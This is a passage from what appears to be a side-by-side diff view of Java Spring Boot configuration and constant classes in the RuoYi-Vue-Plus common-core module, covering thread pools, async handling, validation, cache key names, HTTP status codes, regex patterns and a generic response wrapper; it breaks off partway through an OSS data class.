import org.springframework.context.annotation.EnableAspectJAutoProxy; import org.springframework.context.annotation.EnableAspectJAutoProxy;
import org.springframework.scheduling.annotation.EnableAsync; import org.springframework.scheduling.annotation.EnableAsync;
/** /**
* 程序注解配置 * 程序注解配置
* *
* @author Lion Li * @author Lion Li
*/ */
@AutoConfiguration @AutoConfiguration
@EnableAspectJAutoProxy @EnableAspectJAutoProxy
@EnableAsync(proxyTargetClass = true) @EnableAsync(proxyTargetClass = true)
public class ApplicationConfig { public class ApplicationConfig {
} }

View File

@@ -1,52 +1,52 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import cn.hutool.core.util.ArrayUtil; import cn.hutool.core.util.ArrayUtil;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler; import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;
import org.springframework.boot.autoconfigure.AutoConfiguration; import org.springframework.boot.autoconfigure.AutoConfiguration;
import org.springframework.core.task.VirtualThreadTaskExecutor; import org.springframework.core.task.VirtualThreadTaskExecutor;
import org.springframework.scheduling.annotation.AsyncConfigurer; import org.springframework.scheduling.annotation.AsyncConfigurer;
import java.util.Arrays; import java.util.Arrays;
import java.util.concurrent.Executor; import java.util.concurrent.Executor;
/** /**
* 异步配置 * 异步配置
* <p> * <p>
* 如果未使用虚拟线程则生效 * 如果未使用虚拟线程则生效
* *
* @author Lion Li * @author Lion Li
*/ */
@AutoConfiguration @AutoConfiguration
public class AsyncConfig implements AsyncConfigurer { public class AsyncConfig implements AsyncConfigurer {
/** /**
* 自定义 @Async 注解使用系统线程池 * 自定义 @Async 注解使用系统线程池
*/ */
@Override @Override
public Executor getAsyncExecutor() { public Executor getAsyncExecutor() {
if(SpringUtils.isVirtual()) { if(SpringUtils.isVirtual()) {
return new VirtualThreadTaskExecutor("async-"); return new VirtualThreadTaskExecutor("async-");
} }
return SpringUtils.getBean("scheduledExecutorService"); return SpringUtils.getBean("scheduledExecutorService");
} }
/** /**
* 异步执行异常处理 * 异步执行异常处理
*/ */
@Override @Override
public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() { public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {
return (throwable, method, objects) -> { return (throwable, method, objects) -> {
throwable.printStackTrace(); throwable.printStackTrace();
StringBuilder sb = new StringBuilder(); StringBuilder sb = new StringBuilder();
sb.append("Exception message - ").append(throwable.getMessage()) sb.append("Exception message - ").append(throwable.getMessage())
.append(", Method name - ").append(method.getName()); .append(", Method name - ").append(method.getName());
if (ArrayUtil.isNotEmpty(objects)) { if (ArrayUtil.isNotEmpty(objects)) {
sb.append(", Parameter value - ").append(Arrays.toString(objects)); sb.append(", Parameter value - ").append(Arrays.toString(objects));
} }
throw new ServiceException(sb.toString()); throw new ServiceException(sb.toString());
}; };
} }
} }

View File

@@ -1,33 +1,33 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import lombok.Data; import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
/** /**
* 读取项目相关配置 * 读取项目相关配置
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@Component @Component
@ConfigurationProperties(prefix = "ruoyi") @ConfigurationProperties(prefix = "ruoyi")
public class RuoYiConfig { public class RuoYiConfig {
/** /**
* 项目名称 * 项目名称
*/ */
private String name; private String name;
/** /**
* 版本 * 版本
*/ */
private String version; private String version;
/** /**
* 版权年份 * 版权年份
*/ */
private String copyrightYear; private String copyrightYear;
} }

View File

@@ -1,78 +1,78 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import jakarta.annotation.PreDestroy; import jakarta.annotation.PreDestroy;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.concurrent.BasicThreadFactory; import org.apache.commons.lang3.concurrent.BasicThreadFactory;
import org.dromara.common.core.config.properties.ThreadPoolProperties; import org.dromara.common.core.config.properties.ThreadPoolProperties;
import org.dromara.common.core.utils.Threads; import org.dromara.common.core.utils.Threads;
import org.springframework.boot.autoconfigure.AutoConfiguration; import org.springframework.boot.autoconfigure.AutoConfiguration;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;
import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledThreadPoolExecutor; import java.util.concurrent.ScheduledThreadPoolExecutor;
import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.ThreadPoolExecutor;
/** /**
* 线程池配置 * 线程池配置
* *
* @author Lion Li * @author Lion Li
**/ **/
@Slf4j @Slf4j
@AutoConfiguration @AutoConfiguration
@EnableConfigurationProperties(ThreadPoolProperties.class) @EnableConfigurationProperties(ThreadPoolProperties.class)
public class ThreadPoolConfig { public class ThreadPoolConfig {
/** /**
* 核心线程数 = cpu 核心数 + 1 * 核心线程数 = cpu 核心数 + 1
*/ */
private final int core = Runtime.getRuntime().availableProcessors() + 1; private final int core = Runtime.getRuntime().availableProcessors() + 1;
private ScheduledExecutorService scheduledExecutorService; private ScheduledExecutorService scheduledExecutorService;
@Bean(name = "threadPoolTaskExecutor") @Bean(name = "threadPoolTaskExecutor")
@ConditionalOnProperty(prefix = "thread-pool", name = "enabled", havingValue = "true") @ConditionalOnProperty(prefix = "thread-pool", name = "enabled", havingValue = "true")
public ThreadPoolTaskExecutor threadPoolTaskExecutor(ThreadPoolProperties threadPoolProperties) { public ThreadPoolTaskExecutor threadPoolTaskExecutor(ThreadPoolProperties threadPoolProperties) {
ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
executor.setCorePoolSize(core); executor.setCorePoolSize(core);
executor.setMaxPoolSize(core * 2); executor.setMaxPoolSize(core * 2);
executor.setQueueCapacity(threadPoolProperties.getQueueCapacity()); executor.setQueueCapacity(threadPoolProperties.getQueueCapacity());
executor.setKeepAliveSeconds(threadPoolProperties.getKeepAliveSeconds()); executor.setKeepAliveSeconds(threadPoolProperties.getKeepAliveSeconds());
executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());
return executor; return executor;
} }
/** /**
* 执行周期性或定时任务 * 执行周期性或定时任务
*/ */
@Bean(name = "scheduledExecutorService") @Bean(name = "scheduledExecutorService")
protected ScheduledExecutorService scheduledExecutorService() { protected ScheduledExecutorService scheduledExecutorService() {
ScheduledThreadPoolExecutor scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(core, ScheduledThreadPoolExecutor scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(core,
new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build(), new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build(),
new ThreadPoolExecutor.CallerRunsPolicy()) { new ThreadPoolExecutor.CallerRunsPolicy()) {
@Override @Override
protected void afterExecute(Runnable r, Throwable t) { protected void afterExecute(Runnable r, Throwable t) {
super.afterExecute(r, t); super.afterExecute(r, t);
Threads.printException(r, t); Threads.printException(r, t);
} }
}; };
this.scheduledExecutorService = scheduledThreadPoolExecutor; this.scheduledExecutorService = scheduledThreadPoolExecutor;
return scheduledThreadPoolExecutor; return scheduledThreadPoolExecutor;
} }
/** /**
* 销毁事件 * 销毁事件
*/ */
@PreDestroy @PreDestroy
public void destroy() { public void destroy() {
try { try {
log.info("====关闭后台任务任务线程池===="); log.info("====关闭后台任务任务线程池====");
Threads.shutdownAndAwaitTermination(scheduledExecutorService); Threads.shutdownAndAwaitTermination(scheduledExecutorService);
} catch (Exception e) { } catch (Exception e) {
log.error(e.getMessage(), e); log.error(e.getMessage(), e);
} }
} }
} }

View File

@@ -1,40 +1,40 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import jakarta.validation.Validator; import jakarta.validation.Validator;
import org.hibernate.validator.HibernateValidator; import org.hibernate.validator.HibernateValidator;
import org.springframework.boot.autoconfigure.AutoConfiguration; import org.springframework.boot.autoconfigure.AutoConfiguration;
import org.springframework.context.MessageSource; import org.springframework.context.MessageSource;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean; import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean;
import java.util.Properties; import java.util.Properties;
/** /**
* 校验框架配置类 * 校验框架配置类
* *
* @author Lion Li * @author Lion Li
*/ */
@AutoConfiguration @AutoConfiguration
public class ValidatorConfig { public class ValidatorConfig {
/** /**
* 配置校验框架 快速返回模式 * 配置校验框架 快速返回模式
*/ */
@Bean @Bean
public Validator validator(MessageSource messageSource) { public Validator validator(MessageSource messageSource) {
try (LocalValidatorFactoryBean factoryBean = new LocalValidatorFactoryBean()) { try (LocalValidatorFactoryBean factoryBean = new LocalValidatorFactoryBean()) {
// 国际化 // 国际化
factoryBean.setValidationMessageSource(messageSource); factoryBean.setValidationMessageSource(messageSource);
// 设置使用 HibernateValidator 校验器 // 设置使用 HibernateValidator 校验器
factoryBean.setProviderClass(HibernateValidator.class); factoryBean.setProviderClass(HibernateValidator.class);
Properties properties = new Properties(); Properties properties = new Properties();
// 设置 快速异常返回 // 设置 快速异常返回
properties.setProperty("hibernate.validator.fail_fast", "true"); properties.setProperty("hibernate.validator.fail_fast", "true");
factoryBean.setValidationProperties(properties); factoryBean.setValidationProperties(properties);
// 加载配置 // 加载配置
factoryBean.afterPropertiesSet(); factoryBean.afterPropertiesSet();
return factoryBean.getValidator(); return factoryBean.getValidator();
} }
} }
} }

View File

@@ -1,30 +1,30 @@
package org.dromara.common.core.config.properties; package org.dromara.common.core.config.properties;
import lombok.Data; import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.boot.context.properties.ConfigurationProperties;
/** /**
* 线程池 配置属性 * 线程池 配置属性
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@ConfigurationProperties(prefix = "thread-pool") @ConfigurationProperties(prefix = "thread-pool")
public class ThreadPoolProperties { public class ThreadPoolProperties {
/** /**
* 是否开启线程池 * 是否开启线程池
*/ */
private boolean enabled; private boolean enabled;
/** /**
* 队列最大长度 * 队列最大长度
*/ */
private int queueCapacity; private int queueCapacity;
/** /**
* 线程池维护线程所允许的空闲时间 * 线程池维护线程所允许的空闲时间
*/ */
private int keepAliveSeconds; private int keepAliveSeconds;
} }

View File

@@ -1,30 +1,30 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 缓存的key 常量 * 缓存的key 常量
* *
* @author Lion Li * @author Lion Li
*/ */
public interface CacheConstants { public interface CacheConstants {
/** /**
* 在线用户 redis key * 在线用户 redis key
*/ */
String ONLINE_TOKEN_KEY = "online_tokens:"; String ONLINE_TOKEN_KEY = "online_tokens:";
/** /**
* 参数管理 cache key * 参数管理 cache key
*/ */
String SYS_CONFIG_KEY = "sys_config:"; String SYS_CONFIG_KEY = "sys_config:";
/** /**
* 字典管理 cache key * 字典管理 cache key
*/ */
String SYS_DICT_KEY = "sys_dict:"; String SYS_DICT_KEY = "sys_dict:";
/** /**
* 登录账户密码错误次数 redis key * 登录账户密码错误次数 redis key
*/ */
String PWD_ERR_CNT_KEY = "pwd_err_cnt:"; String PWD_ERR_CNT_KEY = "pwd_err_cnt:";
} }

View File

@@ -1,83 +1,83 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 缓存组名称常量 * 缓存组名称常量
* <p> * <p>
* key 格式为 cacheNames#ttl#maxIdleTime#maxSize * key 格式为 cacheNames#ttl#maxIdleTime#maxSize
* <p> * <p>
* ttl 过期时间 如果设置为0则不过期 默认为0 * ttl 过期时间 如果设置为0则不过期 默认为0
* maxIdleTime 最大空闲时间 根据LRU算法清理空闲数据 如果设置为0则不检测 默认为0 * maxIdleTime 最大空闲时间 根据LRU算法清理空闲数据 如果设置为0则不检测 默认为0
* maxSize 组最大长度 根据LRU算法清理溢出数据 如果设置为0则无限长 默认为0 * maxSize 组最大长度 根据LRU算法清理溢出数据 如果设置为0则无限长 默认为0
* <p> * <p>
* 例子: test#60s、test#0#60s、test#0#1m#1000、test#1h#0#500 * 例子: test#60s、test#0#60s、test#0#1m#1000、test#1h#0#500
* *
* @author Lion Li * @author Lion Li
*/ */
public interface CacheNames { public interface CacheNames {
/** /**
* 演示案例 * 演示案例
*/ */
String DEMO_CACHE = "demo:cache#60s#10m#20"; String DEMO_CACHE = "demo:cache#60s#10m#20";
/** /**
* 系统配置 * 系统配置
*/ */
String SYS_CONFIG = "sys_config"; String SYS_CONFIG = "sys_config";
/** /**
* 数据字典 * 数据字典
*/ */
String SYS_DICT = "sys_dict"; String SYS_DICT = "sys_dict";
/** /**
* 租户 * 租户
*/ */
String SYS_TENANT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_tenant#30d"; String SYS_TENANT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_tenant#30d";
/** /**
* 客户端 * 客户端
*/ */
String SYS_CLIENT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_client#30d"; String SYS_CLIENT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_client#30d";
/** /**
* 用户账户 * 用户账户
*/ */
String SYS_USER_NAME = "sys_user_name#30d"; String SYS_USER_NAME = "sys_user_name#30d";
/** /**
* 用户名称 * 用户名称
*/ */
String SYS_NICKNAME = "sys_nickname#30d"; String SYS_NICKNAME = "sys_nickname#30d";
/** /**
* 部门 * 部门
*/ */
String SYS_DEPT = "sys_dept#30d"; String SYS_DEPT = "sys_dept#30d";
/** /**
* OSS内容 * OSS内容
*/ */
String SYS_OSS = "sys_oss#30d"; String SYS_OSS = "sys_oss#30d";
/** /**
* 角色自定义权限 * 角色自定义权限
*/ */
String SYS_ROLE_CUSTOM = "sys_role_custom#30d"; String SYS_ROLE_CUSTOM = "sys_role_custom#30d";
/** /**
* 部门及以下权限 * 部门及以下权限
*/ */
String SYS_DEPT_AND_CHILD = "sys_dept_and_child#30d"; String SYS_DEPT_AND_CHILD = "sys_dept_and_child#30d";
/** /**
* OSS配置 * OSS配置
*/ */
String SYS_OSS_CONFIG = GlobalConstants.GLOBAL_REDIS_KEY + "sys_oss_config"; String SYS_OSS_CONFIG = GlobalConstants.GLOBAL_REDIS_KEY + "sys_oss_config";
/** /**
* 在线用户 * 在线用户
*/ */
String ONLINE_TOKEN = "online_tokens"; String ONLINE_TOKEN = "online_tokens";
} }

View File

@@ -1,76 +1,76 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 通用常量信息 * 通用常量信息
* *
* @author ruoyi * @author ruoyi
*/ */
public interface Constants { public interface Constants {
/** /**
* UTF-8 字符集 * UTF-8 字符集
*/ */
String UTF8 = "UTF-8"; String UTF8 = "UTF-8";
/** /**
* GBK 字符集 * GBK 字符集
*/ */
String GBK = "GBK"; String GBK = "GBK";
/** /**
* www主域 * www主域
*/ */
String WWW = "www."; String WWW = "www.";
/** /**
* http请求 * http请求
*/ */
String HTTP = "http://"; String HTTP = "http://";
/** /**
* https请求 * https请求
*/ */
String HTTPS = "https://"; String HTTPS = "https://";
/** /**
* 通用成功标识 * 通用成功标识
*/ */
String SUCCESS = "0"; String SUCCESS = "0";
/** /**
* 通用失败标识 * 通用失败标识
*/ */
String FAIL = "1"; String FAIL = "1";
/** /**
* 登录成功 * 登录成功
*/ */
String LOGIN_SUCCESS = "Success"; String LOGIN_SUCCESS = "Success";
/** /**
* 注销 * 注销
*/ */
String LOGOUT = "Logout"; String LOGOUT = "Logout";
/** /**
* 注册 * 注册
*/ */
String REGISTER = "Register"; String REGISTER = "Register";
/** /**
* 登录失败 * 登录失败
*/ */
String LOGIN_FAIL = "Error"; String LOGIN_FAIL = "Error";
/** /**
* 验证码有效期(分钟) * 验证码有效期(分钟)
*/ */
Integer CAPTCHA_EXPIRATION = 2; Integer CAPTCHA_EXPIRATION = 2;
/** /**
* 顶级部门id * 顶级部门id
*/ */
Long TOP_PARENT_ID = 0L; Long TOP_PARENT_ID = 0L;
} }

View File

@@ -1,34 +1,34 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 全局的key常量 (业务无关的key) * 全局的key常量 (业务无关的key)
* *
* @author Lion Li * @author Lion Li
*/ */
public interface GlobalConstants { public interface GlobalConstants {
/** /**
* 全局 redis key (业务无关的key) * 全局 redis key (业务无关的key)
*/ */
String GLOBAL_REDIS_KEY = "global:"; String GLOBAL_REDIS_KEY = "global:";
/** /**
* 验证码 redis key * 验证码 redis key
*/ */
String CAPTCHA_CODE_KEY = GLOBAL_REDIS_KEY + "captcha_codes:"; String CAPTCHA_CODE_KEY = GLOBAL_REDIS_KEY + "captcha_codes:";
/** /**
* 防重提交 redis key * 防重提交 redis key
*/ */
String REPEAT_SUBMIT_KEY = GLOBAL_REDIS_KEY + "repeat_submit:"; String REPEAT_SUBMIT_KEY = GLOBAL_REDIS_KEY + "repeat_submit:";
/** /**
* 限流 redis key * 限流 redis key
*/ */
String RATE_LIMIT_KEY = GLOBAL_REDIS_KEY + "rate_limit:"; String RATE_LIMIT_KEY = GLOBAL_REDIS_KEY + "rate_limit:";
/** /**
* 三方认证 redis key * 三方认证 redis key
*/ */
String SOCIAL_AUTH_CODE_KEY = GLOBAL_REDIS_KEY + "social_auth_codes:"; String SOCIAL_AUTH_CODE_KEY = GLOBAL_REDIS_KEY + "social_auth_codes:";
} }

View File

@@ -1,93 +1,93 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 返回状态码 * 返回状态码
* *
* @author Lion Li * @author Lion Li
*/ */
public interface HttpStatus { public interface HttpStatus {
/** /**
* 操作成功 * 操作成功
*/ */
int SUCCESS = 200; int SUCCESS = 200;
/** /**
* 对象创建成功 * 对象创建成功
*/ */
int CREATED = 201; int CREATED = 201;
/** /**
* 请求已经被接受 * 请求已经被接受
*/ */
int ACCEPTED = 202; int ACCEPTED = 202;
/** /**
* 操作已经执行成功,但是没有返回数据 * 操作已经执行成功,但是没有返回数据
*/ */
int NO_CONTENT = 204; int NO_CONTENT = 204;
/** /**
* 资源已被移除 * 资源已被移除
*/ */
int MOVED_PERM = 301; int MOVED_PERM = 301;
/** /**
* 重定向 * 重定向
*/ */
int SEE_OTHER = 303; int SEE_OTHER = 303;
/** /**
* 资源没有被修改 * 资源没有被修改
*/ */
int NOT_MODIFIED = 304; int NOT_MODIFIED = 304;
/** /**
* 参数列表错误(缺少,格式不匹配) * 参数列表错误(缺少,格式不匹配)
*/ */
int BAD_REQUEST = 400; int BAD_REQUEST = 400;
/** /**
* 未授权 * 未授权
*/ */
int UNAUTHORIZED = 401; int UNAUTHORIZED = 401;
/** /**
* 访问受限,授权过期 * 访问受限,授权过期
*/ */
int FORBIDDEN = 403; int FORBIDDEN = 403;
/** /**
* 资源,服务未找到 * 资源,服务未找到
*/ */
int NOT_FOUND = 404; int NOT_FOUND = 404;
/** /**
* 不允许的http方法 * 不允许的http方法
*/ */
int BAD_METHOD = 405; int BAD_METHOD = 405;
/** /**
* 资源冲突,或者资源被锁 * 资源冲突,或者资源被锁
*/ */
int CONFLICT = 409; int CONFLICT = 409;
/** /**
* 不支持的数据,媒体类型 * 不支持的数据,媒体类型
*/ */
int UNSUPPORTED_TYPE = 415; int UNSUPPORTED_TYPE = 415;
/** /**
* 系统内部错误 * 系统内部错误
*/ */
int ERROR = 500; int ERROR = 500;
/** /**
* 接口未实现 * 接口未实现
*/ */
int NOT_IMPLEMENTED = 501; int NOT_IMPLEMENTED = 501;
/** /**
* 系统警告消息 * 系统警告消息
*/ */
int WARN = 601; int WARN = 601;
} }

View File

@@ -1,54 +1,54 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
import cn.hutool.core.lang.RegexPool; import cn.hutool.core.lang.RegexPool;
/** /**
* 常用正则表达式字符串 * 常用正则表达式字符串
* <p> * <p>
* 常用正则表达式集合,更多正则见: https://any86.github.io/any-rule/ * 常用正则表达式集合,更多正则见: https://any86.github.io/any-rule/
* *
* @author Feng * @author Feng
*/ */
public interface RegexConstants extends RegexPool { public interface RegexConstants extends RegexPool {
/** /**
* 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线) * 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线)
*/ */
String DICTIONARY_TYPE = "^[a-z][a-z0-9_]*$"; String DICTIONARY_TYPE = "^[a-z][a-z0-9_]*$";
/** /**
* 权限标识必须符合 tool:build:list 格式,或者空字符串 * 权限标识必须符合 tool:build:list 格式,或者空字符串
*/ */
String PERMISSION_STRING = "^(|^[a-zA-Z0-9_]+:[a-zA-Z0-9_]+:[a-zA-Z0-9_]+)$"; String PERMISSION_STRING = "^(|^[a-zA-Z0-9_]+:[a-zA-Z0-9_]+:[a-zA-Z0-9_]+)$";
/** /**
* 身份证号码后6位 * 身份证号码后6位
*/ */
String ID_CARD_LAST_6 = "^(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$"; String ID_CARD_LAST_6 = "^(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$";
/** /**
* QQ号码 * QQ号码
*/ */
String QQ_NUMBER = "^[1-9][0-9]\\d{4,9}$"; String QQ_NUMBER = "^[1-9][0-9]\\d{4,9}$";
/** /**
* 邮政编码 * 邮政编码
*/ */
String POSTAL_CODE = "^[1-9]\\d{5}$"; String POSTAL_CODE = "^[1-9]\\d{5}$";
/** /**
* 注册账号 * 注册账号
*/ */
String ACCOUNT = "^[a-zA-Z][a-zA-Z0-9_]{4,15}$"; String ACCOUNT = "^[a-zA-Z][a-zA-Z0-9_]{4,15}$";
/** /**
* 密码包含至少8个字符包括大写字母、小写字母、数字和特殊字符 * 密码包含至少8个字符包括大写字母、小写字母、数字和特殊字符
*/ */
String PASSWORD = "^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}$"; String PASSWORD = "^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}$";
/** /**
* 通用状态0表示正常1表示停用 * 通用状态0表示正常1表示停用
*/ */
String STATUS = "^[01]$"; String STATUS = "^[01]$";
} }

View File

@@ -1,70 +1,70 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 用户常量信息 * 用户常量信息
* *
* @author Lion Li * @author Lion Li
*/ */
public interface SystemConstants { public interface SystemConstants {
/** /**
* 正常状态 * 正常状态
*/ */
String NORMAL = "0"; String NORMAL = "0";
/** /**
* 异常状态 * 异常状态
*/ */
String DISABLE = "1"; String DISABLE = "1";
/** /**
* 是否为系统默认(是) * 是否为系统默认(是)
*/ */
String YES = "Y"; String YES = "Y";
/** /**
* 是否菜单外链(是) * 是否菜单外链(是)
*/ */
String YES_FRAME = "0"; String YES_FRAME = "0";
/** /**
* 是否菜单外链(否) * 是否菜单外链(否)
*/ */
String NO_FRAME = "1"; String NO_FRAME = "1";
/** /**
* 菜单类型(目录) * 菜单类型(目录)
*/ */
String TYPE_DIR = "M"; String TYPE_DIR = "M";
/** /**
* 菜单类型(菜单) * 菜单类型(菜单)
*/ */
String TYPE_MENU = "C"; String TYPE_MENU = "C";
/** /**
* 菜单类型(按钮) * 菜单类型(按钮)
*/ */
String TYPE_BUTTON = "F"; String TYPE_BUTTON = "F";
/** /**
* Layout组件标识 * Layout组件标识
*/ */
String LAYOUT = "Layout"; String LAYOUT = "Layout";
/** /**
* ParentView组件标识 * ParentView组件标识
*/ */
String PARENT_VIEW = "ParentView"; String PARENT_VIEW = "ParentView";
/** /**
* InnerLink组件标识 * InnerLink组件标识
*/ */
String INNER_LINK = "InnerLink"; String INNER_LINK = "InnerLink";
/** /**
* 超级管理员ID * 超级管理员ID
*/ */
Long SUPER_ADMIN_ID = 1L; Long SUPER_ADMIN_ID = 1L;
} }

View File

@@ -1,35 +1,35 @@
package org.dromara.common.core.constant; package org.dromara.common.core.constant;
/** /**
* 租户常量信息 * 租户常量信息
* *
* @author Lion Li * @author Lion Li
*/ */
public interface TenantConstants { public interface TenantConstants {
/** /**
* 超级管理员ID * 超级管理员ID
*/ */
Long SUPER_ADMIN_ID = 1L; Long SUPER_ADMIN_ID = 1L;
/** /**
* 超级管理员角色 roleKey * 超级管理员角色 roleKey
*/ */
String SUPER_ADMIN_ROLE_KEY = "superadmin"; String SUPER_ADMIN_ROLE_KEY = "superadmin";
/** /**
* 租户管理员角色 roleKey * 租户管理员角色 roleKey
*/ */
String TENANT_ADMIN_ROLE_KEY = "admin"; String TENANT_ADMIN_ROLE_KEY = "admin";
/** /**
* 租户管理员角色名称 * 租户管理员角色名称
*/ */
String TENANT_ADMIN_ROLE_NAME = "管理员"; String TENANT_ADMIN_ROLE_NAME = "管理员";
/** /**
* 默认租户ID * 默认租户ID
*/ */
String DEFAULT_TENANT_ID = "000000"; String DEFAULT_TENANT_ID = "000000";
} }

View File

@@ -1,110 +1,110 @@
package org.dromara.common.core.domain; package org.dromara.common.core.domain;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import org.dromara.common.core.constant.HttpStatus; import org.dromara.common.core.constant.HttpStatus;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 响应信息主体 * 响应信息主体
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class R<T> implements Serializable { public class R<T> implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 成功 * 成功
*/ */
public static final int SUCCESS = 200; public static final int SUCCESS = 200;
/** /**
* 失败 * 失败
*/ */
public static final int FAIL = 500; public static final int FAIL = 500;
private int code; private int code;
private String msg; private String msg;
private T data; private T data;
public static <T> R<T> ok() { public static <T> R<T> ok() {
return restResult(null, SUCCESS, "操作成功"); return restResult(null, SUCCESS, "操作成功");
} }
public static <T> R<T> ok(T data) { public static <T> R<T> ok(T data) {
return restResult(data, SUCCESS, "操作成功"); return restResult(data, SUCCESS, "操作成功");
} }
public static <T> R<T> ok(String msg) { public static <T> R<T> ok(String msg) {
return restResult(null, SUCCESS, msg); return restResult(null, SUCCESS, msg);
} }
public static <T> R<T> ok(String msg, T data) { public static <T> R<T> ok(String msg, T data) {
return restResult(data, SUCCESS, msg); return restResult(data, SUCCESS, msg);
} }
public static <T> R<T> fail() { public static <T> R<T> fail() {
return restResult(null, FAIL, "操作失败"); return restResult(null, FAIL, "操作失败");
} }
public static <T> R<T> fail(String msg) { public static <T> R<T> fail(String msg) {
return restResult(null, FAIL, msg); return restResult(null, FAIL, msg);
} }
public static <T> R<T> fail(T data) { public static <T> R<T> fail(T data) {
return restResult(data, FAIL, "操作失败"); return restResult(data, FAIL, "操作失败");
} }
public static <T> R<T> fail(String msg, T data) { public static <T> R<T> fail(String msg, T data) {
return restResult(data, FAIL, msg); return restResult(data, FAIL, msg);
} }
public static <T> R<T> fail(int code, String msg) { public static <T> R<T> fail(int code, String msg) {
return restResult(null, code, msg); return restResult(null, code, msg);
} }
/** /**
* 返回警告消息 * 返回警告消息
* *
* @param msg 返回内容 * @param msg 返回内容
* @return 警告消息 * @return 警告消息
*/ */
public static <T> R<T> warn(String msg) { public static <T> R<T> warn(String msg) {
return restResult(null, HttpStatus.WARN, msg); return restResult(null, HttpStatus.WARN, msg);
} }
/** /**
* 返回警告消息 * 返回警告消息
* *
* @param msg 返回内容 * @param msg 返回内容
* @param data 数据对象 * @param data 数据对象
* @return 警告消息 * @return 警告消息
*/ */
public static <T> R<T> warn(String msg, T data) { public static <T> R<T> warn(String msg, T data) {
return restResult(data, HttpStatus.WARN, msg); return restResult(data, HttpStatus.WARN, msg);
} }
private static <T> R<T> restResult(T data, int code, String msg) { private static <T> R<T> restResult(T data, int code, String msg) {
R<T> r = new R<>(); R<T> r = new R<>();
r.setCode(code); r.setCode(code);
r.setData(data); r.setData(data);
r.setMsg(msg); r.setMsg(msg);
return r; return r;
} }
public static <T> Boolean isError(R<T> ret) { public static <T> Boolean isError(R<T> ret) {
return !isSuccess(ret); return !isSuccess(ret);
} }
public static <T> Boolean isSuccess(R<T> ret) { public static <T> Boolean isSuccess(R<T> ret) {
return R.SUCCESS == ret.getCode(); return R.SUCCESS == ret.getCode();
} }
} }

View File

@@ -1,46 +1,46 @@
package org.dromara.common.core.domain.dto; package org.dromara.common.core.domain.dto;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* OSS对象 * OSS对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class OssDTO implements Serializable { public class OssDTO implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 对象存储主键 * 对象存储主键
*/ */
private Long ossId; private Long ossId;
/** /**
* 文件名 * 文件名
*/ */
